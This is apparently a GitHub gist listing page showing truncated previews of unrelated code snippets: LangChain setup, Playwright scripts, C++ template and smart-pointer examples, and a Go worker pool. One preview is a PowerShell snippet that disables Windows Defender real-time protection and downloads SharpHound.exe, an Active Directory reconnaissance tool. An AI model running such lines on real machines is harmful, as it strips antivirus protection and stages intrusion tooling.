This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#%% | |
import os | |
import openai | |
from dotenv import load_dotenv | |
from langchain.chat_models import AzureChatOpenAI | |
from langchain.embeddings import OpenAIEmbeddings | |
from langchain.text_splitter import TokenTextSplitter | |
# Load environment variables | |
load_dotenv(override=True) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
from playwright.sync_api import Playwright, sync_playwright, expect | |
import time | |
import json | |
import os | |
def run(playwright: Playwright) -> None: | |
browser = playwright.chromium.launch(headless=True) | |
context = browser.new_context() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
rom playwright.sync_api import Playwright, sync_playwright, expect | |
import time | |
import json | |
import os | |
def run(playwright: Playwright) -> None: | |
browser = playwright.chromium.launch(headless=False) | |
context = browser.new_context() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Set-MpPreference -DisableRealtimeMonitoring $true | |
$ProgressPreference = 'SilentlyContinue' | |
$url = “https://github.com/BloodHoundAD/BloodHound/raw/master/Collectors/SharpHound.exe” | |
Invoke-WebRequest $url -OutFile SharpHound.exe |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <vector> | |
#include <unordered_map> | |
using namespace std; | |
struct Lake { | |
string name; | |
}; |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
func runner(tasks []int, workers int, f func(int) int) { | |
in, out := make(chan int), make(chan int) | |
for i := 0; i < workers; i++ { | |
go func() { | |
for { | |
out <- f(<-in) | |
} | |
}() |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <vector> | |
using namespace std; | |
template <typename T, typename ... Args> | |
vector<T> to_vector(Args && ... args) { | |
} | |
template <typename ... Args> |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
using namespace std; | |
template <typename T, typename... Tail> | |
void print(T head, Tail... tail) { | |
cout << head << ' '; | |
print(tail...); | |
} | |
int main() { |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <iostream> | |
#include <memory> | |
using namespace std; | |
int main() { | |
auto p = make_unique<int[]>(20); | |
decltype(p) p1; | |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <memory> | |
#include <iostream> | |
using namespace std; | |
int main() { | |
auto p = make_unique<int[]>(20); | |
decltype(p) p1; | |
p[7] = 42; |
NewerOlder